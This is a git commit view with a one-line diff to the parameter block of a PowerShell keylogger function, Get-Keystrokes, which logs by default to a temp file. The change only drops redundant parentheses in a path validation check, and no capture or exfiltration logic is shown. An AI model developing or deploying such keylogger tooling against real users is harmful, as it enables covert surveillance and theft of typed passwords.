Fixed Pester/PassThru

This commit is contained in:
Jesse Davis
2016-01-13 22:20:05 -06:00
parent 414daa60b8
commit 4ffd3084e4
+1 -1
View File
@@ -40,7 +40,7 @@ function Get-Keystrokes {
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateScript({(Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container)})]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]